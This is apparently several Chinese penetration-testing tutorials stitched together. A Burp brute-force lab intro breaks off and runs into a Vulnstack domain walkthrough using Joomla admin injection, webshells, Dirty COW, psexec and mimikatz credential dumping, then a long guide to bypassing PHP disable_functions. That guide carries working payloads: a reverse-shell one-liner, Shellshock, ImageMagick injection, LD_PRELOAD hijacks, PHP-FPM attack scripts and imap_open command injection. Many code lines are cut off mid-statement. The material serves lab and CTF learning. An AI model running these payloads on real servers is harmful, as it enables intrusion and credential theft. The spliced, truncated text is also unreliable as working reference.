Web渗透实战:使用burp进行暴力破解
通过该实验掌握burp的配置方法和相关模块的使用方法,对一个虚拟网站使用burp进行暴力破解来使网站建设者从攻击者的角度去分析和避免问题,以此加强网站安全。
本文涉及知识点实操练习:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014112610341500001
实验简介
实验所属系列:web安全
实验对象:本科/专科信息安全专业
相关课程及专业:网络安全,计算机网络
实验类别:实践实验类
1.Burp的工作模式:
在没有burp之前,客户端使用浏览器直接与服务器进行通信。有了burp之后,burp在客户端与服务器之间充当代理。这样,浏览器发送给服务器的请求就会被burp进行捕获,而burp和wireshark这种审计类工具相比,其强大之处在于不仅可以做审计工作,更可以对数据包进行修改并发送出去。使用了burp的结构如下图所示。
2.暴力破解:
一般使用暴力破解都有两种原因:
1.对这个漏洞的测试,人是可以完成的,即可穷举。
2.人可以完成,但是代价太大,或者太浪费时间。
正是出于这样的问题,一些软件的出现帮助人完成了这些测试,这就是暴力破解的真正好处。在业界曾经有这样的一种看法,对于暴力破解的使用都不屑一顾,因为大家觉得技术含量太低。但是,从实际的情况来看,因为用户使用弱口令情况太普遍,导致很多漏洞使用暴力破解都可以轻松拿下。
暴力破解,最有价值的地方是在对字典的构造上,这是一门技术,需要长期的经验积累。
实验目的
通过该实验掌握burp的配置方法和相关模块的使用方法,对一个虚拟网站使用burp进行暴力破解来使网站建设者从攻击者的角度去分析和避免问题,以此加强网站安全。在此郑重声明,本教程只做教学目的,严禁使用本教程对线上网站进行破坏攻击。
实验环境
服务器:windows xp sp3 ip地址:10.1.1.163
测试者:windows xp sp3 ip地址随机
Vulnstack 3 域环境靶机实战
环境搭建
将环境从http://vulnstack.qiyuanxuetang.net/vuln/detail/5/上下载下来,只需要添加相应的一个VMNET2的网卡,且IP段为192.168.93.0/24
需要进入centos重启一下网卡,至少我是这么做的才找到IP。
本文涉及知识点实操练习:https://www.yijinglab.com/expc.do?ec=ECID2026-aeda-4f39-89ed-c6444fa2bfa2 (本节课主要讲解Vulnhub渗透测试实战靶场关于Joomla CMS的综合渗透练习,通过该实验学习渗透测试的信息收集、漏洞扫描与利用、权限提升,最终获取/root下的flag。)
拓扑图
WEB入口
主机发现
nmap -sn 192.168.124.0/24
端口
nmap -sS 192.168.124.16
收集到3个端口,暂不做全部扫描。那就先看下网站首页,如下。
web站点
是一个joomla的web页面,顺手一个administrator放在url后面,看到后台,看到后台,看到后台。我还是比较乐观的人,总想去尝试尝试一两个弱口令。现实总会给我一记响亮的耳光,失败告终。
只好掏出dirsearch,然后扫描下目录:
这是以php~结尾的后缀名,应该不会被当成php执行,所以,
这个时候,就可以连接数据库了,那就找密码进后台。
难道还是想我爆破?如果让我爆破,那这必然是个弱口令。先去网上子弹(字典),掏出大菠萝(john)就是一顿扫。子弹打完了,发现敌人丝毫不动,那,那宣告失败吧。都说失败是成功的爹。接着换思路,就是在本地搭建一个一模一样的。然后将自己mysql里的password字段复制到目标数据库中去或者添加一个新用户,太懒是原罪。然后,在网上找到直接添加到数据库的方法,在https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn
改成目标机器上的表名就可以了:
INSERT INTO `am2zu_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator2', 'admin2', 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW()); INSERT INTO `am2zu_user_usergroup_map` (`user_id`,
虽然密码格式不一样,但是依然能进后台。
在模板处可以修改网站源代码:Extensions-->Templates,在index.php中插入一句话,保存。
该亮出尚方宝剑——蚁剑了,致命一击进入内网了。然后就翻车了
这,,,原来是被禁用了危险函数,虽然不能执行命令,但是能看到php版本,是php7的。然后发现蚁剑有专门的绕过disable_function的插件,姿势不错,有点狐气。然后针对php7的绕过挨个挨个试。
绕过了会弹出一个新的交互式shell界面
内网渗透
权限太低,是个www-data的权限。相信经过一番努力使用各种姿势提权,总会绝望的。那就只能是自己没有做好信息收集,找:定时任务、/home、/etc/passwd、网站根目录、/tmp目录。最后在/tmp/mysql/test.txt中看到用户名密码
但是并没有在本机器上发现这个 wwwuser 的用户。索性尝试下,又不犯罪。
竟然成功了?猜测应该做了转发将http请求转到内网的主机上,有内网就可以继续渗透。
而使用ssh连接的主机的网卡,有三个,一个连接外网,一个连接内网。
然后接着提权这台外网的主机,很顺利,看样子是有备而来。看了下内核为2.6.32 并且是centos的操作系统,直接使用脏牛提权成功。
获取一个msf会话,接着渗透。
后渗透
添加路由
meterpreter > run get_local_subnets meterpreter > run autoroute -s 192.168.93.0/255.255.255.0
探测内网主机的存活
# 针对windows use auxiliary/scanner/smb/smb_version # linux use auxiliary/scanner/discovery/arp_sweep 用这个没有探测出windows主机
最终所有主机如下
三个windows,两个使用ms17-010,未果。都没能得到会话。
啊,这....。最后借鉴了下别人的方法,原来是爆破。字典不够强大,最后还是将密码添加到字典中去了(无可奈何)。假如说我爆破出来了
use auxiliary/scanner/smb/smb_login set SMBUSER administrator set PASS_FILE /root/桌面/passlist
获取会话。目前的情况是windows在内网,添加的路由是把攻击机带入到内网,使用reverse_tcp是连接不上了,只能正向连接。
use exploit/windows/smb/psexec set payload windows/x64/meterpreter/bind_tcp set rhosts 192.168.93.30 set smbuser administrator set smbpass 123qwe!ASD
然后拿到两个会话,这个exploit需要多尝试几次,才行。
查看是否在域环境
meterpreter > sysinfo
sysinfo" src="headImg.action?news=b44d60ec-bd7d-4839-acf1-004953f9a34e.png" width="848" height="99"
拿下域控
在server2008上发现域控登录后的记录,然后使用 mimikatz 获取到明文域控密码。
load mimikatz mimikatz_command -f privilege::debug mimikatz_command -f sekurlsa::logonPasswords
得到域管理员账号密码。由于密码的特殊性,尝试使用wmiexec.py一直没成功,两个!!在linux是特殊符号,表示重新执行上一条命令。然后通过下面方法拿到shell
当前用户为
远程连接
run post/windows/manage/enable_rdp proxychains rdesktop 192.168.93.20
php中函数禁用绕过的原理与利用
是否遇到过费劲九牛二虎之力拿了webshell却发现连个scandir都执行不了?拿了webshell确实是一件很欢乐的事情,但有时候却仅仅只是一个小阶段的结束;本文将会以webshell作为起点从头到尾来归纳bypass disable function的各种姿势。
从phpinfo中获取可用信息
信息收集是不可缺少的一环;通常的,我们在通过前期各种工作成功执行代码 or 发现了一个phpinfo页面之后,会从该页面中搜集一些可用信息以便后续漏洞的寻找。
我谈谈我个人的几个偏向点:
版本号
最直观的就是php版本号(虽然版本号有时候会在响应头中出现),如我的机器上版本号为:
PHP Version 7.2.9-1
那么找到版本号后就会综合看看是否有什么"版本专享"漏洞可以利用。
DOCUMENT_ROOT
接下来就是搜索一下DOCUMENT_ROOT取得网站当前路径,虽然常见的都是在/var/www/html,但难免有例外。
disable_functions
这是本文的重点,disable_functions顾名思义函数禁用,以笔者的kali环境为例,默认就禁用了如下函数:
如一些ctf题会把disable设置的极其恶心,即使我们在上传马儿到网站后会发现什么也做不了,那么此时的绕过就是本文所要讲的内容了。
open_basedir
该配置限制了当前php程序所能访问到的路径,如笔者设置了:
<?php ini_set('open_basedir', '/var/www/html:' .'/tmp'); phpinfo();
随后我们能够看到phpinfo中出现如下:
尝试scandir会发现列根目录失败。
<?php ini_set('open_basedir', '/var/www/html:' .'/tmp'); //phpinfo(); var_dump(scandir(".")); var_dump(scandir("/")); //array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) "index.html" [3]=> string(23) "index.nginx-debian.html" [4]=> string(11) "phpinfo.php" } bool(false)
opcache
如果使用了opcache,那么可能达成getshell,但需要存在文件上传的点,直接看链接:
https://www.cnblogs.com/xhds/p/13239331.htmlothers
如文件包含时判断协议是否可用的两个配置项:
allow_url_include、allow_url_fopen
上传webshell时判断是否可用短标签的配置项:
short_open_tag
还有一些会在下文中讲到。
bypass open_basedir
因为有时需要根据题目判断采用哪种bypass方式,同时,能够列目录对于下一步测试有不小帮助,这里列举几种比较常见的bypass方式,均从p神博客摘出,推荐阅读p神博客原文,这里仅作简略总结。
syslink
https://www.php.net/manual/zh/function.symlink.phpsymlink ( string $target , string $link ) : bool
symlink() 对于已有的 target 建立一个名为 link 的符号连接。
简单来说就是建立软链达成bypass。
代码实现如下:
<?php symlink("abc/abc/abc/abc","tmplink"); symlink("tmplink/../../../../etc/passwd", "exploit"); unlink("tmplink"); mkdir("tmplink");
首先是创建一个link,将tmplink用相对路径指向abc/abc/abc/abc,然后再创建一个link,将exploit指向tmplink/../../../../etc/passwd,此时就相当于exploit指向了abc/abc/abc/abc/../../../../etc/passwd,也就相当于exploit指向了./etc/passwd,此时删除tmplink文件后再创建tmplink目录,此时就变为/etc/passwd成功跨目录。
访问exploit即可读取到/etc/passwd。
glob
查找匹配的文件路径模式,是php自5.3.0版本起开始生效的一个用来筛选目录的伪协议
常用bypass方式如下:
<?php $c = "glob:///*"; $a = new DirectoryIterator($c); foreach($a as $f){ echo($f->__toString().'<br>'); } ?>
但会发现比较神奇的是只能列举根目录下的文件。
chdir()与ini_set()
chdir是更改当前工作路径。
mkdir('test'); chdir('test'); ini_set('open_basedir','..'); chdir('..');chdir('..');chdir('..');chdir('..'); ini_set('open_basedir','/'); echo file_get_contents('/etc/passwd');
利用了ini_set的open_basedir的设计缺陷,可以用如下代码观察一下其bypass过程:
<?php ini_set('open_basedir', '/var/www/html:' .'/tmp'); mkdir('test'); chdir('test'); ini_set('open_basedir','..'); printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir')); chdir('..');chdir('..');chdir('..');chdir('..'); ini_set('open_basedir','/'); printf('<b>open_basedir : %s </b><br
bindtextdomain
该函数的第二个参数为一个文件路径,先看代码:
<?php ini_set('open_basedir', '/var/www/html:' .'/tmp'); printf('<b>open_basedir: %s</b><br />', ini_get('open_basedir')); $re = bindtextdomain('xxx', '/etc/passwd'); var_dump($re); $re = bindtextdomain('xxx', '/etc/passw'); var_dump($re); //open_basedir: /var/www/html:/tmp //string(11) "/etc/passwd
可以看到当文件不存在时返回值为false,因为不支持通配符,该方法只能适用于linux下的暴力猜解文件。
Realpath
同样是基于报错,但realpath在windows下可以使用通配符<和>进行列举,脚本摘自p神博客:
<?php ini_set('open_basedir', dirname(__FILE__)); printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir')); set_error_handler('isexists'); $dir = 'd:/test/'; $file = ''; $chars = 'abcdefghijklmnopqrstuvwxyz0123456789_'; for ($i=0; $i < strlen($chars); $i++) { $file = $dir . $chars[$i] . '<><
other
如命令执行事实上是不受open_basedir的影响的。
bypass disable function
蚁剑项目仓库中有一个各种disable的测试环境可以复现,需要环境的师傅可以选用蚁剑的环境。
https://github.com/AntSwordProject/AntSword-Labs黑名单突破
这个应该是最简单的方式,就是寻找替代函数来执行,如system可以采用如反引号来替代执行命令。
看几种常见用于执行系统命令的函数:
system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``
当然了这些也常常出现在disable function中,那么可以寻找可以比较容易被忽略的函数,通过函数 or 函数组合拳来执行命令。
反引号:最容易被忽略的点,执行命令但回显需要配合其他函数,可以反弹shell
pcntl_exec:目标机器若存在python,可用php执行python反弹shell
<?php pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("{ip}",{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));?>
ShellShock
原理
本质是利用bash破壳漏洞(CVE-2014-6271)。
影响范围在于bash 1.14 – 4.3
关键在于:
目前的bash脚本是以通过导出环境变量的方式支持自定义函数,也可将自定义的bash函数传递给子相关进程。一般函数体内的代码是不会被执行,但此漏洞会错误的将“{}”花括号外的命令进行执行。
本地验证方法:
在shell中执行下面命令:
env x='() { :;}; echo Vulnerable CVE-2014-6271 ' bash -c "echo test"
执行命令后,如果显示Vulnerable CVE-2014-6271,证系统存在漏洞,可改变echo Vulnerable CVE-2014-6271为任意命令进行执行。
详见:https://www.antiy.com/response/CVE-2014-6271.html
因为是设置环境变量,而在php中存在着putenv可以设置环境变量,配合开启子进程来让其执行命令。
利用
https://www.exploit-db.com/exploits/35146<?php function shellshock($cmd) { $tmp = tempnam(".","data"); putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); error_log('a',1); $output = @file_get_contents($tmp); @unlink($tmp); if($output != "") return $output; else return "No output, or not vuln."; } echo sh
将exp上传后即可执行系统命令bypass disable,就不做过多赘述。
ImageMagick
原理
漏洞源于CVE-2016-3714,ImageMagick是一款图片处理程序,但当用户传入一张恶意图片时,会造成命令注入,其中还有其他如ssrf、文件读取等,当然最致命的肯定是命令注入。
而在漏洞出来之后各位师傅联想到php扩展中也使用了ImageMagick,当然也就存在着漏洞的可能,并且因为漏洞的原理是直接执行系统命令,所以也就不存在是否被disable的可能,因此可以被用于bypass disable。
关于更加详细的漏洞分析请看p神的文章:https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html,我直接摘取原文中比较具有概括性的漏洞说明:
漏洞报告中给出的POC是利用了如下的这个委托:
<delegate decode="https" command=""curl" -s -k -o "%o" "https:%M""/>
它在解析https图片的时候,使用了curl命令将其下载,我们看到%M被直接放在curl的最后一个参数内。ImageMagick默认支持一种图片格式,叫mvg,而mvg与svg格式类似,其中是以文本形式写入矢量图的内容,而这其中就可以包含https处理过程。
所以我们可以构造一个.mvg格式的图片(但文件名可以不为.mvg,比如下图中包含payload的文件的文件名为vul.gif,而ImageMagick会根据其内容识别为mvg图片),并在https://后面闭合双引号,写入自己要执行的命令:
push graphic-context viewbox 0 0 640 480 fill 'url(https://"|id; ")' pop graphic-context
这样,ImageMagick在正常执行图片转换、处理的时候就会触发漏洞。
漏洞的利用极其简单,只需要构造一张恶意的图片,new一个类即可触发该漏洞:
<?php new Imagick('test.mvg');
利用
那么依旧以靶场题为例,依旧以拥有一句话马儿为前提,我们首先上传一个图片,如上面所述的我们图片的后缀无需mvg,因此上传一个jpg图片:
push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'https://127.0.0.1/x.php?x=`cat /etc/passwd > /var/www/html/success`' pop graphic-context
那么因为我们看不到回显,所以可以考虑将结果写入到文件中,或者直接执行反弹shell。
然后如上上传一个poc.php:
<?php new Imagick('vul.jpg');
访问即可看到我们写入的文件。
那么这一流程颇为繁琐(当我们需要多次执行命令进行测试时就需要多次调整图片内容),因此我们可以写一个php马来动态传入命令:
<?php $command = $_GET['cmd']; if ($command == '') { $command = 'whoami>success'; } $exploit = <<<EOF push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'https://127.0.0.1/x.php?x=`$command`' pop graphic-context EOF; file_put_contents("test.mvg", $exploit); $thumb = new Imagick(); $thumb->r
LD_PRELOAD
喜闻乐见的LD_PRELOAD,这是我学习web时遇到的第一个bypass disable的方式,个人觉得很有意思。
原理
LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。
而我们bypass的关键就是利用LD_PRELOAD加载库优先的特点来让我们自己编写的动态链接库优先于正常的函数库,以此达成执行system命令。
因为id命令比较易于观察,网上文章也大同小异采用了id命令下的getuid/getgid来做测试,为做个试验笔者换成了
我们先看看id命令的调用函数:
strace -f /usr/bin/id
Resulut:
close(3) = 0 geteuid32() = 0 getuid32() = 0 getegid32() = 0 getgid32() = 0 (省略....) getgroups32(0, NULL) = 1 getgroups32(1, [0]) = 1
这里可以看到有不少函数可以编写,我选择getgroups32,我们可以用man命令查看一下函数的定义:
man getgroups32
看到这一部分:
得到了函数的定义,我们只需要编写其内的getgroups即可,因此我编写一个hack.c:
#include <stdlib.h> #include <sys/types.h> #include <unistd.h> int getgroups(int size, gid_t list[]){ unsetenv("LD_PRELOAD"); system("echo 'i hack it'"); return 1; }
然后使用gcc编译成一个动态链接库:
gcc -shared -fPIC hack.c -o hack.so
使用LD_PRELOAD加载并执行id命令,我们会得到如下的结果:
再来更改一下uid测试,我们先adduser一个新用户hhhm,执行id命令结果如下:
然后根据上面的步骤取得getuid32的函数定义,据此来编写一个hack.c:
#include <stdlib.h> #include <dlfcn.h> #include <unistd.h> #include <sys/types.h> uid_t geteuid( void ) { return 0; } uid_t getuid( void ) { return 0; } uid_t getgid( void ) { return 0; }
gcc编译后,执行,结果如下:
可以看到我们的uid成功变为1,且更改为root了,当然了因为我们的hack.so是root权限编译出来的,在一定条件下也许可以用此种方式来提权,网上也有相关文章,不过我没实际尝试过就不做过分肯定的说法。
下面看看在php中如何配合利用达成bypass disable。
php中的利用
php中主要是需要配合putenv函数,如果该函数被ban了那么也就没他什么事了,所以bypass前需要观察disable是否ban掉putenv。
php中的利用根据大师傅们的文章我主要提取出下面几种利用方式,其实质都是大同小异,需要找出一个函数然后采用相同的机制覆盖掉其函数进而执行系统命令。
那么我们受限于disable,system等执行系统命令的函数无法使用,而若想要让php调用外部程序来进一步达成执行系统命令从而达成bypass就只能依赖与php解释器本身。
因此有一个大前提就是需要从php解释器中启动子进程。
老套路之mail
先选取一台具有sendmail的机器,笔者是使用kali,先在php中写入如下代码
<?php mail("","","","");
同样的可以使用strace来追踪函数的执行过程。
strace -f php phpinfo.php 2>&1 | grep execve
可以看到这里调用了sendmail,与网上的文章同样的我们可以追踪sendmail来查看其调用过程,或者使用readelf可以查看其使用函数:
strace sendmail
那么以上面的方式编写并编译一个动态链接库然后利用LD_PRELOAD去执行我们的命令,这就是老套路的利用。
因为没有回显,为方便查看效果我写了一个ls>test,因此hack.c如下:
#include <stdlib.h> #include <dlfcn.h> #include <unistd.h> #include <sys/types.h> uid_t geteuid( void ) { system("ls>test"); return 0; } uid_t getuid( void ) { return 1; } uid_t getgid( void ) { return 0; }
同样的gcc编译后,页面写入如下:
<?php putenv("LD_PRELOAD=./hack.so"); mail("","","",""); ?>
访问页面得到运行效果如下:
再提一个我在利用过程中走错的点,这里为测试,我换用一台没有sendmail的ubuntu:
但如果我们按照上面的步骤直接追踪index的执行而不过滤选取execve会发现同样存在着geteuid,并且但这事实上是sh调用的而非mail调用的,因此如果我们使用php index.php来调用会发现system执行成功,但如果我们通过页面来访问则会发现执行失败,这是一个在利用过程中需要注意的点,这也就是为什么我们会使用管道符来选取execve。
第一个execve为php解释器启动的进程,而后者即为我们所需要的sendmail子进程。
error_log
同样的除了mail会调用sendmail之外,还有error_log也会调用,如图:
ps:当error_log的type为1时就会调用到sendmail。
因此上面针对于mail函数的套路对于error_log同样适用,however,我们会发现此类劫持都只是针对某一个函数,而前面所做的都是依赖与sendmail,而像目标机器如果不存在sendmail,那么前面的做法就完全无用。
yangyangwithgnu师傅在其文https://www.freebuf.com/articles/web/192052.html提到了我们不要局限于仅劫持某一函数,而应考虑劫持共享对象。
劫持共享对象
文中使用到了如下代码编写的库:
#define _GNU_SOURCE #include <stdlib.h> #include <unistd.h> #include <sys/types.h> __attribute__ ((__constructor__)) void anything (void){ unsetenv("LD_PRELOAD"); system("ls>test"); }
那么关于__attribute__ ((__constructor__))个人理解是其会在共享库加载时运行,也就是程序启动时运行,那么这一步的利用同样需要有前面说到的启动子进程这一个大前提,也就是需要有类似于mail、Imagick可以令php解释器启动新进程的函数。
同样的将LD_PRELOAD指定为gcc编译的共享库,然后访问页面查看,会发现成功将ls写到test下(如果失败请检查写权限问题)
0ctf 2019中Wallbreaker Easy中的出题点就是采用了imagick在处理一些特定后缀文件时,会调用ffmpeg,也就是会开启子进程,从而达成加载共享库执行系统命令bypass disable。
Apache Mod CGI
前面的两种利用都需要putenv,如果putenv被ban了那么就需要这种方式,简单介绍一下原理。
原理
利用htaccess覆盖apache配置,增加cgi程序达成执行系统命令,事实上同上传htaccess解析png文件为php程序的利用方式大同小异。
mod cgi:
任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,另一种是文件位于ScriptAlias目录中。
因此我们只需上传一个.htaccess:
Options +ExecCGI //使运行cgi程序的执行 AddHandler cgi-script .test //将test后缀的文件解析为cgi程序
利用
利用就很简单了:
上传htaccess,内容为上文所给出的内容
上传a.test,内容为:
#!/bin/bash echo&&ls
给a.test权限,访问即可得到执行结果。
PHP-FPM
php-fpm相信有读者在配置php环境时会遇到,如使用nginx+php时会在配置文件中配置如下:
location ~ .php$ { root html; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; }
那么看看百度百科中关于php-fpm的介绍:
PHP-FPM(FastCGI Process Manager:FastCGI进程管理器)是一个PHPFastCGI管理器,对于PHP 5.3.3之前的php来说,是一个补丁包 [1] ,旨在将FastCGI进程管理整合进PHP包中。如果你使用的是PHP5.3.3之前的PHP的话,就必须将它patch到你的PHP源代码中,在编译安装PHP后才可以使用。
那么fastcgi又是什么?Fastcgi 是一种通讯协议,用于Web服务器与后端语言的数据交换。
原理
那么我们在配置了php-fpm后如访问http://127.0.0.1/test.php?test=1,那么会被解析为如下键值对:
{ 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/test.php', 'SCRIPT_NAME': '/test.php', 'QUERY_STRING': '?test=1', 'REQUEST_URI': '/test.php?test=1', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'RE
这个数组很眼熟,会发现其实就是$_SERVER里面的一部分,那么php-fpm拿到这一个数组后会去找到SCRIPT_FILENAME的值,对于这里的/var/www/html/test.php,然后去执行它。
前面笔者留了一个配置,在配置中可以看到fastcgi的端口是9000,监听地址是127.0.0.1,那么如果地址为0.0.0.0,也即是将其暴露到公网中,倘若我们伪造与fastcgi通信,这样就会导致远程代码执行。
那么事实上php-fpm通信方式有tcp也就是9000端口的那个,以及socket的通信,因此也存在着两种攻击方式。
socket方式的话配置文件会有如下:
fastcgi_pass unix:/var/run/phpfpm.sock;
那么我们可以稍微了解一下fastcgi的协议组成,其由多个record组成,这里摘抄一下p神https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html中的一段结构体:
typedef struct { /* Header */ unsigned char version; // 版本 unsigned char type; // 本次record的类型 unsigned char requestIdB1; // 本次record对应的请求id unsigned char requestIdB0; unsigned char contentLengthB1; // body体的大小 unsigned char contentLengthB0; unsigned char paddingLength; // 额外块大小 unsigned char reserve
可以看到record分为header以及body,其中header固定为8字节,而body由其contentLength决定,而paddingData为保留段,不需要时长度置为0。
而type的值从1-7有各种作用,当其type=4时,后端就会将其body解析成key-value,看到key-value可能会很眼熟,没错,就是我们前面看到的那一个键值对数组,也就是环境变量。
那么在学习漏洞利用之前,我们有必要了解两个环境变量,
PHP_VALUE:可以设置模式为 PHP_INI_USER 和 PHP_INI_ALL 的选项
PHP_ADMIN_VALUE:可以设置所有选项(除了disable_function)
那么以p神文中的利用方式我们需要满足三个条件:
找到一个已知的php文件
利用上述两个环境变量将auto_prepend_file设置为php://input
开启php://input需要满足的条件:allow_url_include为on
此时熟悉文件包含漏洞的童鞋就一目了然了,我们可以执行任意代码了。
这里利用的情况为:
'PHP_VALUE': 'auto_prepend_file = php://input' 'PHP_ADMIN_VALUE': 'allow_url_include = On'
利用
我们先直接看phpinfo如何标识我们可否利用该漏洞进行攻击。
那么先以攻击tcp为例,倘若我们伪造nginx发送数据(fastcgi封装的数据)给php-fpm,这样就会造成任意代码执行漏洞。
p神已经写好了一个https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75,因为开放fastcgi为0.0.0.0的情况事实上同攻击内网相似,所以这里可以尝试一下攻击127.0.0.1也就是攻击内网的情况,那么事实上我们可以配合gopher协议来攻击内网的fpm,因为与本文主题不符就不多讲。
python a.py 127.0.0.1 -p 9000 /var/www/html/phpinfo.php -c '<?php echo `id`;exit;?>'
可以看到结果如图所示:
攻击成功后我们去查看一下phpinfo会看到如下:
也就是说我们构造的攻击包为:
{ 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/phpinfo.php', 'SCRIPT_NAME': '/phpinfo.php', 'QUERY_STRING': '', 'REQUEST_URI': '/phpinfo.php', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_
很明显的前面所说的都是成立的;然而事实上我这里是没有加入disable的情况,我们往里面加入disable再尝试。
pkill php-fpm /usr/sbin/php-fpm7.0 -c /etc/php/7.0/fpm/php.ini
注意修改了ini文件后重启fpm需要指定ini。
我往disable里压了一个system:
pcntl_alarm,system,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,p
然后再执行一下exp,可以发现被disable了:
因此此种方法还无法达成bypass disable的作用,那么不要忘了我们的两个php_value能够修改的可不仅仅只是auto_prepend_file,并且的我们还可以修改basedir来绕过;在先前的绕过姿势中我们是利用到了so文件执行扩展库来bypass,那么这里同样可以修改extension为我们编写的so库来执行系统命令,具体利用有师傅已经写了利用脚本,事实上蚁剑中的插件已经能实现了该bypass的功能了,那么下面我直接对蚁剑中插件如何实现bypass做一个简要分析。
在执行蚁剑的插件时会发现其在当前目录生成了一个.antproxy.php文件,那么我们后续的bypass都是通过该文件来执行,那么先看一下这个shell的代码:
<?php function get_client_header(){ $headers=array(); foreach($_SERVER as $k=>$v){ if(strpos($k,'HTTP_')===0){ $k=strtolower(preg_replace('/^HTTP/', '', $k)); $k=preg_replace_callback('/_\w/','header_callback',$k); $k=preg_replace('/^_/','',$k); $k=str_replace('_','-',$k); if($k=='Host') continue; $
定位到关键代码:
$headers=get_client_header(); $host = "127.0.0.1"; $port = 60882; $errno = ''; $errstr = ''; $timeout = 30; $url = "/index.php"; if (!empty($_SERVER['QUERY_STRING'])){ $url .= "?".$_SERVER['QUERY_STRING']; }; $fp = fsockopen($host, $port, $errno, $errstr, $timeout);
可以看到它这里向60882端口进行通信,事实上这里蚁剑使用/bin/sh -c php -n -S 127.0.0.1:60882 -t /var/www/html开启了一个新的php服务,并且不使用php.ini,因此也就不存在disable了,那么我们在观察其执行过程会发现其还在tmp目录下上传了一个so文件,那么至此我们有理由推断出其通过攻击php-fpm修改其extension为在tmp目录下上传的扩展库,事实上从该插件的源码中也可以得知确实如此:
那么启动了该php server后我们的流量就通过antproxy.php转发到无disabel的php server上,此时就成功达成bypass。
加载so扩展
前面虽然解释了其原理,但毕竟理论与实践有所区别,因此我们可以自己打一下extension进行测试。
so文件可以从https://github.com/AntSwordProject/ant_php_extension中获取,根据其提示编译即可获取ant.so的库,修改php-fpm的php.ini,加入:
extension=/var/www/html/ant.so
然后重启php-fpm,如果使用如下:
<?php antsystem("ls");
成功执行命令时即说明扩展成功加载,那么我们再把ini恢复为先前的样子,我们尝试直接攻击php-fpm来修改其配置项。
以脚本来攻击:
import requests sess = requests.session() def execute_php_code(s): res = sess.post('http://192.168.242.5/index.php', data={"a": s}) return res.text code = ''' class AA { const VERSION_1 = 1; const BEGIN_REQUEST = 1; const ABORT_REQUEST = 2; const END_REQUEST = 3; const PARAMS = 4; const STDIN = 5; c
通过修改其内的code即可,效果如下:
漏洞利用成功。
com组件
原理&利用
需要目标机器满足下列三个条件:
com.allow_dcom = true
extension=php_com_dotnet.dll
php>5.4
此时com组件开启,我们能够在phpinfo中看到:
要知道原理还是直接从exp看起:
<?php $command = $_GET['cmd']; $wsh = new COM('WScript.shell'); $exec = $wsh->exec("cmd /c".$command); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?>
首先,以new COM('WScript.shell')来生成一个com对象,里面的参数也可以为Shell.Application(笔者的win10下测试失败)。
然后这个com对象中存在着exec可以用来执行命令,而后续的方法则是将命令输出,该方式的利用还是较为简单的,就不多讲了。
imap_open
该bypass方式为CVE-2018-19518
原理
imap扩展用于在PHP中执行邮件收发操作,而imap_open是一个imap扩展的函数,在使用时通常以如下形式:
$imap = imap_open('{'.$_POST['server'].':993/imap/ssl}INBOX', $_POST['login'], $_POST['password']);
那么该函数在调用时会调用rsh来连接远程shell,而在debian/ubuntu中默认使用ssh来代替rsh的功能,也即是说在这俩系统中调用的实际上是ssh,而ssh中可以通过-oProxyCommand=来调用命令,该选项可以使得我们在连接服务器之前先执行命令,并且需要注意到的是此时并不是php解释器在执行该系统命令,其以一个独立的进程去执行了该命令,因此我们也就成功的bypass disable function了。
那么我们可以先在ubuntu上试验一下:
ssh -oProxyCommand="ls>test" 192.168.2.1
利用
环境的话vulhub上有,其中给出了poc:
POST / HTTP/1.1 Host: your-ip Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 125 hostname=x+-oProxyCommand%3decho%
